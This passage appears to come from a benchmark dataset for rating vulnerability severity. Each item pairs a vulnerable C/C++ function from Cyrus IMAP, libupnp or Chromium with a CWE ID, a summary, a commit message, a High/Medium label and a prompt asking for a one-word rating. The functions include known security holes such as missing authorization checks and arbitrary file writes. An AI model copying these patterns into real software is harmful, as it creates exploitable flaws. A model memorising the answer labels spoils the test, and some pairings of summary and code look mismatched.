&arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, *arg2.s ? arg2.s : NULL); snmp_increment(APPEND_COUNT, 1); } else if (!strcmp(cmd.s, "Localcreate")) { /* create a local-only mailbox */ struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 1); dlist_free(&extargs); /* xxxx snmp_increment(CREATE_COUNT, 1); */ } else if (!strcmp(cmd.s, "Localdelete")) { /* delete a mailbox locally only */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 1, 1); /* xxxx snmp_increment(DELETE_COUNT, 1); */ } else goto badcmd; break; case 'M': if (!strcmp(cmd.s, "Myrights")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_myrights(tag.s, arg1.s); /* xxxx snmp_increment(MYRIGHTS_COUNT, 1); */ } else if (!strcmp(cmd.s, "Mupdatepush")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == EOF) goto missingargs; if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_mupdatepush(tag.s, arg1.s); /* xxxx snmp_increment(MUPDATEPUSH_COUNT, 1); */ } else if (!strcmp(cmd.s, "Move")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; move: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/1); snmp_increment(COPY_COUNT, 1); } else goto badcmd; break; case 'N': if (!strcmp(cmd.s, "Noop")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); /* xxxx snmp_increment(NOOP_COUNT, 1); */ } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Namespace")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_namespace(tag.s); /* xxxx snmp_increment(NAMESPACE_COUNT, 1); */ } else goto badcmd; break; case 'R': if (!strcmp(cmd.s, "Rename")) { havepartition = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == ' ') { havepartition = 1; c = getword(imapd_in, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_rename(tag.s, arg1.s, arg2.s, havepartition ? arg3.s : 0); /* xxxx snmp_increment(RENAME_COUNT, 1); */ } else if(!strcmp(cmd.s, "Reconstruct")) { recursive = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { /* Optional RECURSEIVE argument */ c = getword(imapd_in, &arg2); if(!imparse_isatom(arg2.s)) goto extraargs; else if(!strcasecmp(arg2.s, "RECURSIVE")) recursive = 1; else goto extraargs; } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_reconstruct(tag.s, arg1.s, recursive); /* snmp_increment(RECONSTRUCT_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlist")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.sel = LIST_SEL_REMOTE; listargs.ret = LIST_RET_CHILDREN; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); /* snmp_increment(LIST_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_REMOTE | LIST_SEL_SUBSCRIBED; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); /* snmp_increment(LSUB_COUNT, 1); */ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Resetkey")) { int have_mbox = 0, have_mech = 0; if (c == ' ') { have_mbox = 1; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { have_mech = 1; c = getword(imapd_in, &arg2); } } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_resetkey(tag.s, have_mbox ? arg1.s : 0, have_mech ? arg2.s : 0); /* snmp_increment(RESETKEY_COUNT, 1);*/ } #endif else goto badcmd; break; case 'S': if (!strcmp(cmd.s, "Starttls")) { if (!tls_enabled()) { /* we don't support starttls */ goto badcmd; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* XXX discard any input pipelined after STARTTLS */ prot_flush(imapd_in); /* if we've already done SASL fail */ if (imapd_userid != NULL) { prot_printf(imapd_out, "%s BAD Can't Starttls after authentication\r\n", tag.s); continue; } /* if we've already done COMPRESS fail */ if (imapd_compress_done == 1) { prot_printf(imapd_out, "%s BAD Can't Starttls after Compress\r\n", tag.s); continue; } /* check if already did a successful tls */ if (imapd_starttls_done == 1) { prot_printf(imapd_out, "%s BAD Already did a successful Starttls\r\n", tag.s); continue; } cmd_starttls(tag.s, 0); snmp_increment(STARTTLS_COUNT, 1); continue; } if (!imapd_userid) { goto nologin; } else if (!strcmp(cmd.s, "Store")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; store: c = getword(imapd_in, &arg1); if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_store(tag.s, arg1.s, usinguid); snmp_increment(STORE_COUNT, 1); } else if (!strcmp(cmd.s, "Select")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(SELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Search")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; search: cmd_search(tag.s, usinguid); snmp_increment(SEARCH_COUNT, 1); } else if (!strcmp(cmd.s, "Subscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 1); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 1); } snmp_increment(SUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Setacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, arg3.s); snmp_increment(SETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Setannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setannotation(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setmetadata")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setmetadata(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setquota(tag.s, arg1.s); snmp_increment(SETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Sort")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; sort: cmd_sort(tag.s, usinguid); snmp_increment(SORT_COUNT, 1); } else if (!strcmp(cmd.s, "Status")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_status(tag.s, arg1.s); snmp_increment(STATUS_COUNT, 1); } else if (!strcmp(cmd.s, "Scan")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); listargs.scan = arg3.s; cmd_list(tag.s, &listargs); snmp_increment(SCAN_COUNT, 1); } else if (!strcmp(cmd.s, "Syncapply")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncapply(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncget")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncget(tag.s, kl); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncrestart")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* just clear the GUID cache */ cmd_syncrestart(tag.s, &reserve_list, 1); } else if (!strcmp(cmd.s, "Syncrestore")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncrestore(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else goto badcmd; break; case 'T': if (!strcmp(cmd.s, "Thread")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; thread: cmd_thread(tag.s, usinguid); snmp_increment(THREAD_COUNT, 1); } else goto badcmd; break; case 'U': if (!strcmp(cmd.s, "Uid")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 1; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c != ' ') goto missingargs; lcase(arg1.s); xstrncpy(cmdname, arg1.s, 99); if (!strcmp(arg1.s, "fetch")) { goto fetch; } else if (!strcmp(arg1.s, "store")) { goto store; } else if (!strcmp(arg1.s, "search")) { goto search; } else if (!strcmp(arg1.s, "sort")) { goto sort; } else if (!strcmp(arg1.s, "thread")) { goto thread; } else if (!strcmp(arg1.s, "copy")) { goto copy; } else if (!strcmp(arg1.s, "move")) { goto move; } else if (!strcmp(arg1.s, "xmove")) { goto move; } else if (!strcmp(arg1.s, "expunge")) { c = getword(imapd_in, &arg1); if (!imparse_issequence(arg1.s)) goto badsequence; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, arg1.s); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(arg1.s, "xrunannotator")) { goto xrunannotator; } else { prot_printf(imapd_out, "%s BAD Unrecognized UID subcommand\r\n", tag.s); eatline(imapd_in, c); } } else if (!strcmp(cmd.s, "Unsubscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 0); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 0); } snmp_increment(UNSUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Unselect")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(UNSELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Undump")) { if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* we want to get a list at this point */ if(c != ' ') goto missingargs; cmd_undump(tag.s, arg1.s); /* snmp_increment(UNDUMP_COUNT, 1);*/ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Urlfetch")) { if (c != ' ') goto missingargs; cmd_urlfetch(tag.s); /* snmp_increment(URLFETCH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'X': if (!strcmp(cmd.s, "Xbackup")) { int havechannel = 0; if (!config_getswitch(IMAPOPT_XBACKUP_ENABLED)) goto badcmd; /* user */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* channel */ if (c == ' ') { havechannel = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xbackup(tag.s, arg1.s, havechannel ? arg2.s : NULL); } else if (!strcmp(cmd.s, "Xconvfetch")) { cmd_xconvfetch(tag.s); } else if (!strcmp(cmd.s, "Xconvmultisort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvmultisort(tag.s); } else if (!strcmp(cmd.s, "Xconvsort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 0); } else if (!strcmp(cmd.s, "Xconvupdates")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 1); } else if (!strcmp(cmd.s, "Xfer")) { int havepartition = 0; /* Mailbox */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* Dest Server */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if(c == ' ') { /* Dest Partition */ c = getastring(imapd_in, imapd_out, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; havepartition = 1; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xfer(tag.s, arg1.s, arg2.s, (havepartition ? arg3.s : NULL)); /* snmp_increment(XFER_COUNT, 1);*/ } else if (!strcmp(cmd.s, "Xconvmeta")) { cmd_xconvmeta(tag.s); } else if (!strcmp(cmd.s, "Xlist")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_XLIST; listargs.ret = LIST_RET_CHILDREN | LIST_RET_SPECIALUSE; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Xmove")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; goto move; } else if (!strcmp(cmd.s, "Xrunannotator")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; xrunannotator: c = getword(imapd_in, &arg1); if (!arg1.len || !imparse_issequence(arg1.s)) goto badsequence; cmd_xrunannotator(tag.s, arg1.s, usinguid); } else if (!strcmp(cmd.s, "Xsnippets")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xsnippets(tag.s); } else if (!strcmp(cmd.s, "Xstats")) { cmd_xstats(tag.s, c); } else if (!strcmp(cmd.s, "Xwarmup")) { /* XWARMUP doesn't need a mailbox to be selected */ if (c != ' ') goto missingargs; cmd_xwarmup(tag.s); } else if (!strcmp(cmd.s, "Xkillmy")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xkillmy(tag.s, arg1.s); } else if (!strcmp(cmd.s, "Xforever")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xforever(tag.s); } else if (!strcmp(cmd.s, "Xmeid")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xmeid(tag.s, arg1.s); } else if (apns_enabled && !strcmp(cmd.s, "Xapplepushservice")) { if (c != ' ') goto missingargs; memset(&applepushserviceargs, 0, sizeof(struct applepushserviceargs)); do { c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto aps_missingargs; if (!strcmp(arg1.s, "mailboxes")) { c = prot_getc(imapd_in); if (c != '(') goto aps_missingargs; c = prot_getc(imapd_in); if (c != ')') { prot_ungetc(c, imapd_in); do { c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) break; strarray_push(&applepushserviceargs.mailboxes, arg2.s); } while (c == ' '); } if (c != ')') goto aps_missingargs; c = prot_getc(imapd_in); } else { c = getastring(imapd_in, imapd_out, &arg2); if (!strcmp(arg1.s, "aps-version")) { if (!imparse_isnumber(arg2.s)) goto aps_extraargs; applepushserviceargs.aps_version = atoi(arg2.s); } else if (!strcmp(arg1.s, "aps-account-id")) buf_copy(&applepushserviceargs.aps_account_id, &arg2); else if (!strcmp(arg1.s, "aps-device-token")) buf_copy(&applepushserviceargs.aps_device_token, &arg2); else if (!strcmp(arg1.s, "aps-subtopic")) buf_copy(&applepushserviceargs.aps_subtopic, &arg2); else goto aps_extraargs; } } while (c == ' '); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto aps_extraargs; cmd_xapplepushservice(tag.s, &applepushserviceargs); } else goto badcmd; break; default: badcmd: prot_printf(imapd_out, "%s BAD Unrecognized command\r\n", tag.s); eatline(imapd_in, c); } /* End command timer - don't log "idle" commands */ if (commandmintimer && strcmp("idle", cmdname)) { double cmdtime, nettime; const char *mboxname = index_mboxname(imapd_index); if (!mboxname) mboxname = "<none>"; cmdtime_endtimer(&cmdtime, &nettime); if (cmdtime >= commandmintimerd) { syslog(LOG_NOTICE, "cmdtimer: '%s' '%s' '%s' '%f' '%f' '%f'", imapd_userid ? imapd_userid : "<none>", cmdname, mboxname, cmdtime, nettime, cmdtime + nettime); } } continue; nologin: prot_printf(imapd_out, "%s BAD Please login first\r\n", tag.s); eatline(imapd_in, c); continue; nomailbox: prot_printf(imapd_out, "%s BAD Please select a mailbox first\r\n", tag.s); eatline(imapd_in, c); continue; aps_missingargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); missingargs: prot_printf(imapd_out, "%s BAD Missing required argument to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; aps_extraargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); extraargs: prot_printf(imapd_out, "%s BAD Unexpected extra arguments to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badsequence: prot_printf(imapd_out, "%s BAD Invalid sequence in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badpartition: prot_printf(imapd_out, "%s BAD Invalid partition name in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; } done: cmd_syncrestart(NULL, &reserve_list, 0); } Vulnerability Type: CWE ID: CWE-20 Summary: Cyrus IMAP before 3.0.3 allows remote authenticated users to write to arbitrary files via a crafted (1) SYNCAPPLY, (2) SYNCGET or (3) SYNCRESTORE command. Commit Message: imapd: check for isadmin BEFORE parsing sync lines
Medium
170,036
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int http_RecvPostMessage( /*! HTTP Parser object. */ http_parser_t *parser, /*! [in] Socket Information object. */ SOCKINFO *info, /*! File where received data is copied to. */ char *filename, /*! Send Instruction object which gives information whether the file * is a virtual file or not. */ struct SendInstruction *Instr) { size_t Data_Buf_Size = 1024; char Buf[1024]; int Timeout = -1; FILE *Fp; parse_status_t status = PARSE_OK; int ok_on_close = FALSE; size_t entity_offset = 0; int num_read = 0; int ret_code = HTTP_OK; if (Instr && Instr->IsVirtualFile) { Fp = (virtualDirCallback.open) (filename, UPNP_WRITE); if (Fp == NULL) return HTTP_INTERNAL_SERVER_ERROR; } else { Fp = fopen(filename, "wb"); if (Fp == NULL) return HTTP_UNAUTHORIZED; } parser->position = POS_ENTITY; do { /* first parse what has already been gotten */ if (parser->position != POS_COMPLETE) status = parser_parse_entity(parser); if (status == PARSE_INCOMPLETE_ENTITY) { /* read until close */ ok_on_close = TRUE; } else if ((status != PARSE_SUCCESS) && (status != PARSE_CONTINUE_1) && (status != PARSE_INCOMPLETE)) { /* error */ ret_code = HTTP_BAD_REQUEST; goto ExitFunction; } /* read more if necessary entity */ while (entity_offset + Data_Buf_Size > parser->msg.entity.length && parser->position != POS_COMPLETE) { num_read = sock_read(info, Buf, sizeof(Buf), &Timeout); if (num_read > 0) { /* append data to buffer */ if (membuffer_append(&parser->msg.msg, Buf, (size_t)num_read) != 0) { /* set failure status */ parser->http_error_code = HTTP_INTERNAL_SERVER_ERROR; ret_code = HTTP_INTERNAL_SERVER_ERROR; goto ExitFunction; } status = parser_parse_entity(parser); if (status == PARSE_INCOMPLETE_ENTITY) { /* read until close */ ok_on_close = TRUE; } else if ((status != PARSE_SUCCESS) && (status != PARSE_CONTINUE_1) && (status != PARSE_INCOMPLETE)) { ret_code = HTTP_BAD_REQUEST; goto ExitFunction; } } else if (num_read == 0) { if (ok_on_close) { UpnpPrintf(UPNP_INFO, HTTP, __FILE__, __LINE__, "<<< (RECVD) <<<\n%s\n-----------------\n", parser->msg.msg.buf); print_http_headers(&parser->msg); parser->position = POS_COMPLETE; } else { /* partial msg or response */ parser->http_error_code = HTTP_BAD_REQUEST; ret_code = HTTP_BAD_REQUEST; goto ExitFunction; } } else { ret_code = HTTP_SERVICE_UNAVAILABLE; goto ExitFunction; } } if ((entity_offset + Data_Buf_Size) > parser->msg.entity.length) { Data_Buf_Size = parser->msg.entity.length - entity_offset; } memcpy(Buf, &parser->msg.msg.buf[parser->entity_start_position + entity_offset], Data_Buf_Size); entity_offset += Data_Buf_Size; if (Instr && Instr->IsVirtualFile) { int n = virtualDirCallback.write(Fp, Buf, Data_Buf_Size); if (n < 0) { ret_code = HTTP_INTERNAL_SERVER_ERROR; goto ExitFunction; } } else { size_t n = fwrite(Buf, 1, Data_Buf_Size, Fp); if (n != Data_Buf_Size) { ret_code = HTTP_INTERNAL_SERVER_ERROR; goto ExitFunction; } } } while (parser->position != POS_COMPLETE || entity_offset != parser->msg.entity.length); ExitFunction: if (Instr && Instr->IsVirtualFile) { virtualDirCallback.close(Fp); } else { fclose(Fp); } return ret_code; } Vulnerability Type: CWE ID: CWE-284 Summary: Portable UPnP SDK (aka libupnp) before 1.6.21 allows remote attackers to write to arbitrary files in the webroot via a POST request without a registered handler. Commit Message: Don't allow unhandled POSTs to write to the filesystem by default If there's no registered handler for a POST request, the default behaviour is to write it to the filesystem. Several million deployed devices appear to have this behaviour, making it possible to (at least) store arbitrary data on them. Add a configure option that enables this behaviour, and change the default to just drop POSTs that aren't directly handled.
Medium
168,831
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void GLES2Implementation::BeginQueryEXT(GLenum target, GLuint id) { GPU_CLIENT_SINGLE_THREAD_CHECK(); GPU_CLIENT_LOG("[" << GetLogPrefix() << "] BeginQueryEXT(" << GLES2Util::GetStringQueryTarget(target) << ", " << id << ")"); switch (target) { case GL_COMMANDS_ISSUED_CHROMIUM: case GL_LATENCY_QUERY_CHROMIUM: case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM: case GL_GET_ERROR_QUERY_CHROMIUM: break; case GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM: case GL_COMMANDS_COMPLETED_CHROMIUM: if (!capabilities_.sync_query) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "not enabled for commands completed queries"); return; } break; case GL_SAMPLES_PASSED_ARB: if (!capabilities_.occlusion_query) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "not enabled for occlusion queries"); return; } break; case GL_ANY_SAMPLES_PASSED: case GL_ANY_SAMPLES_PASSED_CONSERVATIVE: if (!capabilities_.occlusion_query_boolean) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "not enabled for boolean occlusion queries"); return; } break; case GL_TIME_ELAPSED_EXT: if (!capabilities_.timer_queries) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "not enabled for timing queries"); return; } break; case GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN: if (capabilities_.major_version >= 3) break; FALLTHROUGH; default: SetGLError(GL_INVALID_ENUM, "glBeginQueryEXT", "unknown query target"); return; } if (query_tracker_->GetCurrentQuery(target)) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "query already in progress"); return; } if (id == 0) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "id is 0"); return; } if (!GetIdAllocator(IdNamespaces::kQueries)->InUse(id)) { SetGLError(GL_INVALID_OPERATION, "glBeginQueryEXT", "invalid id"); return; } switch (target) { case GL_TIME_ELAPSED_EXT: if (!query_tracker_->SetDisjointSync(this)) { SetGLError(GL_OUT_OF_MEMORY, "glBeginQueryEXT", "buffer allocation failed"); return; } break; default: break; } if (query_tracker_->BeginQuery(id, target, this)) CheckGLError(); if (target == GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM) { AllocateShadowCopiesForReadback(); } } Vulnerability Type: CWE ID: CWE-416 Summary: A heap use after free in V8 in Google Chrome prior to 55.0.2883.75 for Mac, Windows and Linux, and 55.0.2883.84 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/master@{#657568}
Medium
172,527
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: PixelBufferRasterWorkerPool::PixelBufferRasterWorkerPool( ResourceProvider* resource_provider, ContextProvider* context_provider, size_t num_threads, size_t max_transfer_buffer_usage_bytes) : RasterWorkerPool(resource_provider, context_provider, num_threads), shutdown_(false), scheduled_raster_task_count_(0), bytes_pending_upload_(0), max_bytes_pending_upload_(max_transfer_buffer_usage_bytes), has_performed_uploads_since_last_flush_(false), check_for_completed_raster_tasks_pending_(false), should_notify_client_if_no_tasks_are_pending_(false), should_notify_client_if_no_tasks_required_for_activation_are_pending_( false) { } Vulnerability Type: DoS CWE ID: CWE-20 Summary: Use-after-free vulnerability in Google Chrome before 28.0.1500.71 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the handling of input. Commit Message: cc: Simplify raster task completion notification logic (Relanding after missing activation bug fixed in https://codereview.chromium.org/131763003/) Previously the pixel buffer raster worker pool used a combination of polling and explicit notifications from the raster worker pool to decide when to tell the client about the completion of 1) all tasks or 2) the subset of tasks required for activation. This patch simplifies the logic by only triggering the notification based on the OnRasterTasksFinished and OnRasterTasksRequiredForActivationFinished calls from the worker pool. BUG=307841,331534 Review URL: https://codereview.chromium.org/99873007 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@243991 0039d316-1c4b-4281-b951-d872f2087c98
High
171,262
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
